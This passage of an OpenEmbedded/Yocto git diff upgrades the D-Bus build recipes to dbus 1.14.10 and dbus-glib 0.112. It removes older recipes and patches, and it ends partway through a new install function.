-LICENSE = "AFL-2.1 | GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=cf5b3a2f7083750d504333114e738656 \
- file://dbus/dbus-glib.h;beginline=7;endline=21;md5=7755c9d7abccd5dbd25a6a974538bb3c"
-SECTION = "base"
-
-DEPENDS = "expat glib-2.0 virtual/libintl dbus-glib-native dbus"
-DEPENDS_class-native = "glib-2.0-native dbus-native"
-
-SRC_URI = "https://dbus.freedesktop.org/releases/dbus-glib/dbus-glib-${PV}.tar.gz \
- file://no-examples.patch \
- file://test-install-makefile.patch \
-"
-SRC_URI[md5sum] = "d7cebf1d69445cbd28b4983392145192"
-SRC_URI[sha256sum] = "7ce4760cf66c69148f6bd6c92feaabb8812dee30846b24cd0f7395c436d7e825"
-
-inherit autotools pkgconfig gettext bash-completion gtk-doc
-
-#default disable regression tests, some unit test code in non testing code
-#PACKAGECONFIG_pn-${PN} = "tests" enable regression tests local.conf
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[tests] = "--enable-tests,,,"
-
-EXTRA_OECONF_class-target = "--with-dbus-binding-tool=${STAGING_BINDIR_NATIVE}/dbus-binding-tool"
-
-PACKAGES += "${PN}-tests"
-
-FILES_${PN} = "${libdir}/lib*${SOLIBS}"
-FILES_${PN}-bash-completion += "${libexecdir}/dbus-bash-completion-helper"
-FILES_${PN}-dev += "${libdir}/dbus-1.0/include ${bindir}/dbus-glib-tool"
-FILES_${PN}-dev += "${bindir}/dbus-binding-tool"
-
-RDEPENDS_${PN}-tests += "dbus-x11"
-FILES_${PN}-tests = "${datadir}/${BPN}/tests"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/dbus/dbus-glib_0.112.bb b/meta/recipes-core/dbus/dbus-glib_0.112.bb
new file mode 100644
index 0000000000..4acf435694
--- /dev/null
+++ b/meta/recipes-core/dbus/dbus-glib_0.112.bb
@@ -0,0 +1,39 @@
+SUMMARY = "High level language (GLib) binding for D-Bus"
+DESCRIPTION = "GLib bindings for the D-Bus message bus that integrate \
+the D-Bus library with the GLib thread abstraction and main loop."
+HOMEPAGE = "https://www.freedesktop.org/Software/dbus"
+LICENSE = "AFL-2.1 | GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c31c73c1d8f5d06784b2ccd22e42d641 \
+ file://dbus/dbus-glib.h;beginline=7;endline=21;md5=c374833bd817988323f3a8fda0dc7f48"
+SECTION = "base"
+
+DEPENDS = "expat glib-2.0 virtual/libintl dbus-glib-native dbus"
+DEPENDS:class-native = "glib-2.0-native dbus-native"
+
+SRC_URI = "https://dbus.freedesktop.org/releases/dbus-glib/dbus-glib-${PV}.tar.gz \
+ file://no-examples.patch \
+ file://test-install-makefile.patch \
+"
+SRC_URI[md5sum] = "021e6c8a288df02c227e4aafbf7e7527"
+SRC_URI[sha256sum] = "7d550dccdfcd286e33895501829ed971eeb65c614e73aadb4a08aeef719b143a"
+
+inherit autotools pkgconfig gettext bash-completion gtk-doc
+
+#default disable regression tests, some unit test code in non testing code
+#PACKAGECONFIG:pn-${PN} = "tests" enable regression tests local.conf
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[tests] = "--enable-tests,,,"
+
+EXTRA_OECONF:class-target = "--with-dbus-binding-tool=${STAGING_BINDIR_NATIVE}/dbus-binding-tool"
+
+PACKAGES += "${PN}-tests"
+
+FILES:${PN} = "${libdir}/lib*${SOLIBS}"
+FILES:${PN}-bash-completion += "${libexecdir}/dbus-bash-completion-helper"
+FILES:${PN}-dev += "${libdir}/dbus-1.0/include ${bindir}/dbus-glib-tool"
+FILES:${PN}-dev += "${bindir}/dbus-binding-tool"
+
+RDEPENDS:${PN}-tests += "dbus-x11"
+FILES:${PN}-tests = "${datadir}/${BPN}/tests"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/dbus/dbus-test_1.12.20.bb b/meta/recipes-core/dbus/dbus-test_1.12.20.bb
deleted file mode 100644
index 755c841bad..0000000000
--- a/meta/recipes-core/dbus/dbus-test_1.12.20.bb
+++ /dev/null
@@ -1,64 +0,0 @@
-SUMMARY = "D-Bus test package (for D-bus functionality testing only)"
-HOMEPAGE = "http://dbus.freedesktop.org"
-SECTION = "base"
-
-require dbus.inc
-
-SRC_URI += "file://run-ptest \
- file://python-config.patch \
- "
-
-DEPENDS = "dbus glib-2.0"
-
-RDEPENDS_${PN}-dev = ""
-
-S="${WORKDIR}/dbus-${PV}"
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/dbus:"
-
-inherit ptest
-
-EXTRA_OECONF += "--enable-tests \
- --enable-modular-tests \
- --enable-installed-tests \
- --enable-checks \
- --enable-asserts \
- --with-dbus-test-dir=${PTEST_PATH} \
- --enable-embedded-tests \
- "
-
-do_install() {
- :
-}
-
-do_install_ptest() {
- install -d ${D}${PTEST_PATH}/test
- l="shell printf refs syslog marshal syntax corrupt dbus-daemon dbus-daemon-eavesdrop loopback relay \
- variant uid-permissions syntax spawn sd-activation names monitor message fdpass service shell-service"
- for i in $l; do install ${B}/test/.libs/test-$i ${D}${PTEST_PATH}/test; done
-
- l="bus bus-system bus-launch-helper"
- for i in $l; do install ${B}/bus/.libs/test-$i ${D}${PTEST_PATH}/test; done
-
- install -d ${D}${PTEST_PATH}/bus
- install ${B}/bus/.libs/dbus-daemon-launch-helper-test ${D}${PTEST_PATH}/bus
-
- install ${B}/test/test-segfault ${D}${PTEST_PATH}/test
-
- cp -r ${B}/test/data ${D}${PTEST_PATH}/test
- install ${B}/dbus/.libs/test-dbus ${D}${PTEST_PATH}/test
-
- install -d ${D}${PTEST_PATH}/test/.libs
- cp -a ${B}/dbus/.libs/*.so* ${D}${PTEST_PATH}/test/.libs
-
- # Remove build host references...
- find "${D}${PTEST_PATH}/test/data" \( -name *.service -o -name *.conf -o -name "*.aaprofile" \) -type f -exec \
- sed -i \
- -e 's:${B}:${PTEST_PATH}:g' \
- {} +
- sed -i -e 's;@PTEST_PATH@;${PTEST_PATH};g' ${D}${PTEST_PATH}/run-ptest
-}
-
-RDEPENDS_${PN}-ptest += "bash make dbus"
-RDEPENDS_${PN}-ptest_remove = "${PN}"
-
-PRIVATE_LIBS_${PN}-ptest = "libdbus-1.so.3"
diff --git a/meta/recipes-core/dbus/dbus.inc b/meta/recipes-core/dbus/dbus.inc
deleted file mode 100644
index dcbcc0a9d6..0000000000
--- a/meta/recipes-core/dbus/dbus.inc
+++ /dev/null
@@ -1,34 +0,0 @@
-inherit autotools pkgconfig gettext upstream-version-is-even
-
-LICENSE = "AFL-2.1 | GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=10dded3b58148f3f1fd804b26354af3e \
- file://dbus/dbus.h;beginline=6;endline=20;md5=7755c9d7abccd5dbd25a6a974538bb3c"
-
-SRC_URI = "https://dbus.freedesktop.org/releases/dbus/dbus-${PV}.tar.gz \
- file://tmpdir.patch \
- file://dbus-1.init \
- file://clear-guid_from_server-if-send_negotiate_unix_f.patch \
-"
-
-SRC_URI[md5sum] = "dfe8a71f412e0b53be26ed4fbfdc91c4"
-SRC_URI[sha256sum] = "f77620140ecb4cdc67f37fb444f8a6bea70b5b6461f12f1cbe2cec60fa7de5fe"
-
-EXTRA_OECONF = "--disable-xml-docs \
- --disable-doxygen-docs \
- --disable-libaudit \
- --enable-largefile \
- --with-system-socket=/run/dbus/system_bus_socket \
- "
-EXTRA_OECONF_append_class-target = " SYSTEMCTL=${base_bindir}/systemctl"
-EXTRA_OECONF_append_class-native = " --disable-selinux"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd x11', d)} \
- user-session \
- "
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
-
-PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_system_unitdir},--disable-systemd --without-systemdsystemunitdir,systemd"
-PACKAGECONFIG[x11] = "--with-x --enable-x11-autolaunch,--without-x --disable-x11-autolaunch, virtual/libx11 libsm"
-PACKAGECONFIG[user-session] = "--enable-user-session --with-systemduserunitdir=${systemd_user_unitdir},--disable-user-session"
-PACKAGECONFIG[verbose-mode] = "--enable-verbose-mode,,,"
diff --git a/meta/recipes-core/dbus/dbus/clear-guid_from_server-if-send_negotiate_unix_f.patch b/meta/recipes-core/dbus/dbus/clear-guid_from_server-if-send_negotiate_unix_f.patch
deleted file mode 100644
index 6bb6d9c82e..0000000000
--- a/meta/recipes-core/dbus/dbus/clear-guid_from_server-if-send_negotiate_unix_f.patch
+++ /dev/null
@@ -1,104 +0,0 @@
-From b8f84bd39485d3977625c9a8b8e8cff5d23be56f Mon Sep 17 00:00:00 2001
-From: Roy Li <rongqing.li@windriver.com>
-Date: Thu, 27 Feb 2014 09:05:02 +0800
-Subject: [PATCH] dbus: clear guid_from_server if send_negotiate_unix_fd
- failed
-
-Upstream-Status: Submitted
-
-bus-test dispatch test failed with below information:
- ./bus/bus-test: Running message dispatch test
- Activating service name='org.freedesktop.DBus.TestSuiteEchoService'
- Successfully activated service 'org.freedesktop.DBus.TestSuiteEchoService'
- 6363: assertion failed "_dbus_string_get_length (& DBUS_AUTH_CLIENT (auth)->guid_from_server) == 0" file "dbus-auth.c" line 1545 function process_ok
- ./bus/bus-test(_dbus_print_backtrace+0x29) [0x80cb969]
- ./bus/bus-test(_dbus_abort+0x14) [0x80cfb44]
- ./bus/bus-test(_dbus_real_assert+0x53) [0x80b52c3]
- ./bus/bus-test() [0x80e24da]
- ./bus/bus-test(_dbus_auth_do_work+0x388) [0x80e3848]
- ./bus/bus-test() [0x80aea49]
- ./bus/bus-test() [0x80affde]
- ./bus/bus-test(_dbus_transport_handle_watch+0xb1) [0x80ad841]
- ./bus/bus-test(_dbus_connection_handle_watch+0x104) [0x8089174]
- ./bus/bus-test(dbus_watch_handle+0xd8) [0x80b15e8]
- ./bus/bus-test(_dbus_loop_iterate+0x4a9) [0x80d1509]
- ./bus/bus-test(bus_test_run_clients_loop+0x5d) [0x808129d]
- ./bus/bus-test() [0x806cab0]
- ./bus/bus-test() [0x806e0ca]
- ./bus/bus-test() [0x806da6f]
- ./bus/bus-test(_dbus_test_oom_handling+0x18c) [0x80b5c8c]
- ./bus/bus-test() [0x806f723]
- ./bus/bus-test(bus_dispatch_test+0x3c) [0x8071aac]
- ./bus/bus-test(main+0x1b7) [0x805acc7]
- /lib/libc.so.6(__libc_start_main+0xf3) [0x45f919b3]
- ./bus/bus-test() [0x805ae39]
-
-The stack is below:
- #0 0xffffe425 in __kernel_vsyscall ()
- #1 0x45fa62d6 in raise () from /lib/libc.so.6
- #2 0x45fa9653 in abort () from /lib/libc.so.6
- #3 0x080cfb65 in _dbus_abort () at dbus-sysdeps.c:94
- #4 0x080b52c3 in _dbus_real_assert (condition=0,
- condition_text=condition_text@entry=0x8117a38 "_dbus_string_get_length (& DBUS_AUTH_CLIENT (auth)->guid_from_server) == 0",
- file=file@entry=0x8117273 "dbus-auth.c", line=line@entry=1545,
- func=func@entry=0x8117f8e <__FUNCTION__.3492> "process_ok")
- data=0x8157290) at dbus-connection.c:1515
- #0 0x00000033fee353e9 in raise () from /lib64/libc.so.6
- #1 0x00000033fee38508 in abort () from /lib64/libc.so.6
- #2 0x000000000047d585 in _dbus_abort () at dbus-sysdeps.c:94
- #3 0x0000000000466486 in _dbus_real_assert (condition=<optimized out>,
- condition_text=condition_text@entry=0x4c2988 "_dbus_string_get_length (& DBUS_AUTH_CLIENT (auth)->guid_from_server) == 0",
- file=file@entry=0x4c21a5 "dbus-auth.c", line=line@entry=1546,
- func=func@entry=0x4c2fce <__FUNCTION__.3845> "process_ok")
- at dbus-internals.c:931
- #4 0x000000000048d424 in process_ok (args_from_ok=0x7fffffffe480,
- auth=0x6ff340) at dbus-auth.c:1546
- #5 handle_client_state_waiting_for_data (auth=0x6ff340,
- command=<optimized out>, args=0x7fffffffe480) at dbus-auth.c:1996
- #6 0x000000000048e789 in process_command (auth=0x6ff340) at dbus-auth.c:2208
- #7 _dbus_auth_do_work (auth=0x6ff340) at dbus-auth.c:2458
- #8 0x000000000046091d in do_authentication (
- transport=transport@entry=0x6ffaa0, do_reading=do_reading@entry=1,
- do_writing=do_writing@entry=0,
- auth_completed=auth_completed@entry=0x7fffffffe55c)
- at dbus-transport-socket.c:442
- #9 0x0000000000461d08 in socket_handle_watch (transport=0x6ffaa0,
- watch=0x6f4190, flags=1) at dbus-transport-socket.c:921
- #10 0x000000000045fa3a in _dbus_transport_handle_watch (transport=0x6ffaa0,
-
-Once send_negotiate_unix_fd failed, this failure will happen, since
-auth->guid_from_server has been set to some value before
-send_negotiate_unix_fd. send_negotiate_unix_fd failure will lead to
-this auth be handled by process_ok again, but this auth->guid_from_server
-is not zero.
-
-So we should clear auth->guid_from_server if send_negotiate_unix_fd failed
-
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
----
- dbus/dbus-auth.c | 9 +++++++--
- 1 file changed, 7 insertions(+), 2 deletions(-)
-
-diff --git a/dbus/dbus-auth.c b/dbus/dbus-auth.c
-index d2c37a7..37b45c6 100644
---- a/dbus/dbus-auth.c
-+++ b/dbus/dbus-auth.c
-@@ -1571,8 +1571,13 @@ process_ok(DBusAuth *auth,
- _dbus_verbose ("Got GUID '%s' from the server\n",
- _dbus_string_get_const_data (& DBUS_AUTH_CLIENT (auth)->guid_from_server));
-
-- if (auth->unix_fd_possible)
-- return send_negotiate_unix_fd(auth);
-+ if (auth->unix_fd_possible) {
-+ if (!send_negotiate_unix_fd(auth)) {
-+ _dbus_string_set_length (& DBUS_AUTH_CLIENT (auth)->guid_from_server, 0);
-+ return FALSE;
-+ }
-+ return TRUE;
-+ }
-
- _dbus_verbose("Not negotiating unix fd passing, since not possible\n");
- return send_begin (auth);
---
-1.7.10.4
-
diff --git a/meta/recipes-core/dbus/dbus/python-config.patch b/meta/recipes-core/dbus/dbus/python-config.patch
deleted file mode 100644
index da2f10c726..0000000000
--- a/meta/recipes-core/dbus/dbus/python-config.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-When building the dbus-ptest package, we have to enable python. However
-checking if the host-system python has the necessary library isn't useful.
-
-Disable the python module check for cross compiling.
-
-Upstream-Status: Inappropriate [oe specific]
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-
----
- configure.ac | 7 -------
- 1 file changed, 7 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 80d27b4..becc1cc 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -279,13 +279,6 @@ if test "x$enable_tests" = xyes; then
- # full test coverage is required, Python is a hard dependency
- AC_MSG_NOTICE([Full test coverage (--enable-tests=yes) requires Python, dbus-python, pygi])
- AM_PATH_PYTHON([2.6])
-- AC_MSG_CHECKING([for Python modules for full test coverage])
-- if "$PYTHON" -c "import dbus, gi.repository.GObject, dbus.mainloop.glib"; then
-- AC_MSG_RESULT([yes])
-- else
-- AC_MSG_RESULT([no])
-- AC_MSG_ERROR([cannot import dbus, gi.repository.GObject, dbus.mainloop.glib Python modules])
-- fi
- else
- # --enable-tests not given: do not abort if Python is missing
- AM_PATH_PYTHON([2.6], [], [:])
---
-1.9.1
-
diff --git a/meta/recipes-core/dbus/dbus/run-ptest b/meta/recipes-core/dbus/dbus/run-ptest
index d3eec08235..54f43e1f68 100755
--- a/meta/recipes-core/dbus/dbus/run-ptest
+++ b/meta/recipes-core/dbus/dbus/run-ptest
@@ -1,35 +1,3 @@
#!/bin/sh
-
-output() {
- retcode=$?
- if [ $retcode -eq 0 ]
- then echo "PASS: $i"
- elif [ $retcode -eq 77 ]
- then echo "SKIP: $i"
- else echo "FAIL: $i"
- fi
-}
-
-export DBUS_TEST_HOMEDIR=./test
-export XDG_RUNTIME_DIR=./test
-export LD_LIBRARY_PATH=@PTEST_PATH@/test/.libs
-
-files=`ls test/test-*`
-
-for i in $files
-do
- #these programs are used by testcase test-bus, don't run here
- #additionally, test-names needs to be run under X
- if [ $i = "test/test-service" ] \
- || [ $i = "test/test-shell-service" ] \
- || [ $i = "test/test-segfault" ] \
- || [ $i = "test/test-bus" ] \
- || [ $i = "test/test-names" ]
- then
- continue
- fi
-
- ./$i ./test/data >/dev/null 2>&1
- output
-done
+gnome-desktop-testing-runner dbus
diff --git a/meta/recipes-core/dbus/dbus_1.12.20.bb b/meta/recipes-core/dbus/dbus_1.12.20.bb
deleted file mode 100644
index cf6f7dc0ef..0000000000
--- a/meta/recipes-core/dbus/dbus_1.12.20.bb
+++ /dev/null
@@ -1,147 +0,0 @@
-SUMMARY = "D-Bus message bus"
-DESCRIPTION = "D-Bus is a message bus system, a simple way for applications to talk to one another. In addition to interprocess communication, D-Bus helps coordinate process lifecycle; it makes it simple and reliable to code a \"single instance\" application or daemon, and to launch applications and daemons on demand when their services are needed."
-HOMEPAGE = "https://dbus.freedesktop.org"
-SECTION = "base"
-
-require dbus.inc
-
-DEPENDS = "expat virtual/libintl autoconf-archive"
-RDEPENDS_dbus_class-native = ""
-RDEPENDS_dbus_class-nativesdk = ""
-PACKAGES += "${@bb.utils.contains('DISTRO_FEATURES', 'ptest', '${PN}-ptest', '', d)}"
-ALLOW_EMPTY_dbus-ptest = "1"
-RDEPENDS_dbus-ptest_class-target = "dbus-test-ptest"
-
-inherit useradd update-rc.d
-
-INITSCRIPT_NAME = "dbus-1"
-INITSCRIPT_PARAMS = "start 02 5 3 2 . stop 20 0 1 6 ."
-
-python __anonymous() {
- if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
- d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
-}
-
-USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --home ${localstatedir}/lib/dbus \
- --no-create-home --shell /bin/false \
- --user-group messagebus"
-
-CONFFILES_${PN} = "${sysconfdir}/dbus-1/system.conf ${sysconfdir}/dbus-1/session.conf"
-
-DEBIANNAME_${PN} = "dbus-1"
-
-PACKAGES =+ "${PN}-lib"
-
-OLDPKGNAME = "dbus-x11"
-OLDPKGNAME_class-nativesdk = ""
-
-# for compatibility
-RPROVIDES_${PN} = "${OLDPKGNAME}"
-RREPLACES_${PN} += "${OLDPKGNAME}"
-
-FILES_${PN} = "${bindir}/dbus-daemon* \
- ${bindir}/dbus-uuidgen \
- ${bindir}/dbus-cleanup-sockets \
- ${bindir}/dbus-send \
- ${bindir}/dbus-monitor \
- ${bindir}/dbus-launch \
- ${bindir}/dbus-run-session \
- ${bindir}/dbus-update-activation-environment \
- ${libexecdir}/dbus* \
- ${sysconfdir} \
- ${localstatedir} \
- ${datadir}/dbus-1/services \
- ${datadir}/dbus-1/system-services \
- ${datadir}/dbus-1/session.d \
- ${datadir}/dbus-1/session.conf \
- ${datadir}/dbus-1/system.d \
- ${datadir}/dbus-1/system.conf \
- ${datadir}/xml/dbus-1 \
- ${systemd_system_unitdir} \
- ${systemd_user_unitdir} \
- ${nonarch_libdir}/sysusers.d/dbus.conf \
- ${nonarch_libdir}/tmpfiles.d/dbus.conf \
-"
-FILES_${PN}-lib = "${libdir}/lib*.so.*"
-RRECOMMENDS_${PN}-lib = "${PN}"
-FILES_${PN}-dev += "${libdir}/dbus-1.0/include ${libdir}/cmake/DBus1 ${bindir}/dbus-test-tool"
-
-PACKAGE_WRITE_DEPS += "${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','systemd-systemctl-native','',d)}"
-pkg_postinst_dbus() {
- # If both systemd and sysvinit are enabled, mask the dbus-1 init script
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','true','false',d)}; then
- if [ -n "$D" ]; then
- OPTS="--root=$D"
- fi
- systemctl $OPTS mask dbus-1.service
- fi
-
- if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then
- /etc/init.d/populate-volatile.sh update
- fi
-}
-
-
-EXTRA_OECONF += "--disable-tests"
-
-do_install() {
- autotools_do_install
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/init.d
- sed 's:@bindir@:${bindir}:' < ${WORKDIR}/dbus-1.init >${WORKDIR}/dbus-1.init.sh
- install -m 0755 ${WORKDIR}/dbus-1.init.sh ${D}${sysconfdir}/init.d/dbus-1
- install -d ${D}${sysconfdir}/default/volatiles
- echo "d messagebus messagebus 0755 ${localstatedir}/run/dbus none" \
- > ${D}${sysconfdir}/default/volatiles/99_dbus
- fi
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- for i in dbus.target.wants sockets.target.wants multi-user.target.wants; do \
- install -d ${D}${systemd_system_unitdir}/$i; done
- install -m 0644 ${B}/bus/dbus.service ${B}/bus/dbus.socket ${D}${systemd_system_unitdir}/
- ln -fs ../dbus.socket ${D}${systemd_system_unitdir}/dbus.target.wants/dbus.socket
- ln -fs ../dbus.socket ${D}${systemd_system_unitdir}/sockets.target.wants/dbus.socket
- ln -fs ../dbus.service ${D}${systemd_system_unitdir}/multi-user.target.wants/dbus.service
- fi
-
-
- mkdir -p ${D}${localstatedir}/lib/dbus
-
- chown messagebus:messagebus ${D}${localstatedir}/lib/dbus
-
- chown root:messagebus ${D}${libexecdir}/dbus-daemon-launch-helper
- chmod 4755 ${D}${libexecdir}/dbus-daemon-launch-helper
-
- # Remove Red Hat initscript
- rm -rf ${D}${sysconfdir}/rc.d
-
- # Remove empty testexec directory as we don't build tests
- rm -rf ${D}${libdir}/dbus-1.0/test
-
- # Remove /var/run as it is created on startup
- rm -rf ${D}${localstatedir}/run
-}
-
-do_install_class-native() {
- autotools_do_install
-
- # dbus-launch has no X support so lets not install it in case the host
- # has a more featured and useful version
- rm -f ${D}${bindir}/dbus-launch
-}
-
-do_install_class-nativesdk() {
- autotools_do_install
-
- # dbus-launch has no X support so lets not install it in case the host
- # has a more featured and useful version
- rm -f ${D}${bindir}/dbus-launch
-
- # Remove /var/run to avoid QA error
- rm -rf ${D}${localstatedir}/run
-}
-BBCLASSEXTEND = "native nativesdk"
-
-INSANE_SKIP_${PN}-ptest += "build-deps"
diff --git a/meta/recipes-core/dbus/dbus_1.14.10.bb b/meta/recipes-core/dbus/dbus_1.14.10.bb
new file mode 100644
index 0000000000..4fe7af7512
--- /dev/null
+++ b/meta/recipes-core/dbus/dbus_1.14.10.bb
@@ -0,0 +1,186 @@
+SUMMARY = "D-Bus message bus"
+DESCRIPTION = "D-Bus is a message bus system, a simple way for applications to talk to one another. In addition to interprocess communication, D-Bus helps coordinate process lifecycle; it makes it simple and reliable to code a \"single instance\" application or daemon, and to launch applications and daemons on demand when their services are needed."
+HOMEPAGE = "https://dbus.freedesktop.org"
+SECTION = "base"
+
+inherit autotools pkgconfig gettext upstream-version-is-even ptest-gnome
+
+LICENSE = "AFL-2.1 | GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6423dcd74d7be9715b0db247fd889da3 \
+ file://dbus/dbus.h;beginline=6;endline=20;md5=866739837ccd835350af94dccd6457d8 \
+ "
+
+SRC_URI = "https://dbus.freedesktop.org/releases/dbus/dbus-${PV}.tar.xz \
+ file://run-ptest \
+ file://tmpdir.patch \
+ file://dbus-1.init \
+ "
+
+SRC_URI[sha256sum] = "ba1f21d2bd9d339da2d4aa8780c09df32fea87998b73da24f49ab9df1e36a50f"
+
+EXTRA_OECONF = "--disable-xml-docs \
+ --disable-doxygen-docs \
+ --enable-largefile \
+ --with-system-socket=/run/dbus/system_bus_socket \
+ --enable-modular-tests \
+ --enable-checks \
+ --runstatedir=/run \
+ "
+EXTRA_OECONF:append:class-target = " SYSTEMCTL=${base_bindir}/systemctl"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd x11', d)} \
+ user-session \
+ "
+PACKAGECONFIG:class-native = ""
+PACKAGECONFIG:class-nativesdk = ""
+
+PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_system_unitdir},--disable-systemd --without-systemdsystemunitdir,systemd"
+PACKAGECONFIG[x11] = "--enable-x11-autolaunch,--without-x --disable-x11-autolaunch, virtual/libx11 libsm"
+PACKAGECONFIG[user-session] = "--enable-user-session --with-systemduserunitdir=${systemd_user_unitdir},--disable-user-session"
+PACKAGECONFIG[verbose-mode] = "--enable-verbose-mode,,,"
+PACKAGECONFIG[audit] = "--enable-libaudit,--disable-libaudit,audit"
+PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux"
+
+DEPENDS = "expat virtual/libintl autoconf-archive-native glib-2.0"
+RDEPENDS:${PN} += "${PN}-common ${PN}-tools"
+RDEPENDS:${PN}:class-native = ""
+
+inherit useradd update-rc.d
+
+INITSCRIPT_NAME = "dbus-1"
+INITSCRIPT_PARAMS = "start 02 5 3 2 . stop 20 0 1 6 ."
+
+python __anonymous() {
+ if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
+ d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
+}
+
+PACKAGES =+ "${PN}-lib ${PN}-common ${PN}-tools"
+
+USERADD_PACKAGES = "dbus-common"
+USERADD_PARAM:dbus-common = "--system --home ${localstatedir}/lib/dbus \
+ --no-create-home --shell /bin/false \
+ --user-group messagebus"
+
+CONFFILES:${PN} = "${sysconfdir}/dbus-1/system.conf ${sysconfdir}/dbus-1/session.conf"
+
+DEBIANNAME:${PN} = "dbus-1"
+
+OLDPKGNAME = "dbus-x11"
+OLDPKGNAME:class-nativesdk = ""
+
+# for compatibility
+RPROVIDES:${PN} = "${OLDPKGNAME}"
+RREPLACES:${PN} += "${OLDPKGNAME}"
+
+FILES:${PN} = "${bindir}/dbus-daemon* \
+ ${bindir}/dbus-cleanup-sockets \
+ ${bindir}/dbus-launch \
+ ${bindir}/dbus-run-session \
+ ${libexecdir}/dbus* \
+ ${sysconfdir} \
+ ${localstatedir} \
+ ${systemd_system_unitdir} \
+ ${systemd_user_unitdir} \
+ ${nonarch_libdir}/tmpfiles.d/dbus.conf \
+"
+FILES:${PN}-common = "${sysconfdir}/dbus-1 \
+ ${datadir}/dbus-1/services \
+ ${datadir}/dbus-1/system-services \
+ ${datadir}/dbus-1/session.d \
+ ${datadir}/dbus-1/session.conf \
+ ${datadir}/dbus-1/system.d \
+ ${datadir}/dbus-1/system.conf \
+ ${systemd_system_unitdir}/dbus.socket \
+ ${systemd_system_unitdir}/sockets.target.wants \
+ ${systemd_user_unitdir}/dbus.socket \
+ ${systemd_user_unitdir}/sockets.target.wants \
+ ${nonarch_libdir}/sysusers.d/dbus.conf \
+"
+FILES:${PN}-tools = "${bindir}/dbus-uuidgen \
+ ${bindir}/dbus-send \
+ ${bindir}/dbus-monitor \
+ ${bindir}/dbus-update-activation-environment \
+"
+FILES:${PN}-lib = "${libdir}/lib*.so.*"
+RRECOMMENDS:${PN}-lib = "${PN}"
+FILES:${PN}-dev += "${libdir}/dbus-1.0/include ${bindir}/dbus-test-tool ${datadir}/xml/dbus-1"
+
+RDEPENDS:${PN}-ptest += "bash make dbus"
+
+PACKAGE_WRITE_DEPS += "${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','systemd-systemctl-native','',d)}"
+pkg_postinst:dbus() {
+ # If both systemd and sysvinit are enabled, mask the dbus-1 init script
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','true','false',d)}; then
+ if [ -n "$D" ]; then
+ OPTS="--root=$D"
+ fi
+ systemctl $OPTS mask dbus-1.service
+ fi
+
+ if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then
+ /etc/init.d/populate-volatile.sh update
+ fi
+}
+
+
+do_install() {
+ autotools_do_install
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -d ${D}${sysconfdir}/init.d
+ sed 's:@bindir@:${bindir}:' < ${WORKDIR}/dbus-1.init >${WORKDIR}/dbus-1.init.sh
+ install -m 0755 ${WORKDIR}/dbus-1.init.sh ${D}${sysconfdir}/init.d/dbus-1
+ install -d ${D}${sysconfdir}/default/volatiles
+ echo "d messagebus messagebus 0755 /run/dbus none" \
+ > ${D}${sysconfdir}/default/volatiles/99_dbus
+ fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ for i in dbus.target.wants sockets.target.wants multi-user.target.wants; do \
+ install -d ${D}${systemd_system_unitdir}/$i; done
+ install -m 0644 ${B}/bus/dbus.service ${B}/bus/dbus.socket ${D}${systemd_system_unitdir}/
+ ln -fs ../dbus.socket ${D}${systemd_system_unitdir}/dbus.target.wants/dbus.socket
+ ln -fs ../dbus.socket ${D}${systemd_system_unitdir}/sockets.target.wants/dbus.socket
+ ln -fs ../dbus.service ${D}${systemd_system_unitdir}/multi-user.target.wants/dbus.service
+ fi
+
+
+ mkdir -p ${D}${localstatedir}/lib/dbus
+
+ chown messagebus:messagebus ${D}${localstatedir}/lib/dbus
+
+ chown root:messagebus ${D}${libexecdir}/dbus-daemon-launch-helper
+ chmod 4755 ${D}${libexecdir}/dbus-daemon-launch-helper
+
+ # Remove Red Hat initscript
+ rm -rf ${D}${sysconfdir}/rc.d
+
+ # Remove empty testexec directory as we don't build tests
+ rm -rf ${D}${libdir}/dbus-1.0/test
+
+ # Remove /var/run as it is created on startup
+ rm -rf ${D}${localstatedir}/run
+}
+
+do_install:class-native() {
+ autotools_do_install
+
+ # dbus-launch has no X support so lets not install it in case the host
+ # has a more featured and useful version
+ rm -f ${D}${bindir}/dbus-launch
+}
+
+do_install:class-nativesdk() {
+ autotools_do_install
+
+ # dbus-launch has no X support so lets not install it in case the host
+ # has a more featured and useful version
+ rm -f ${D}${bindir}/dbus-launch
+
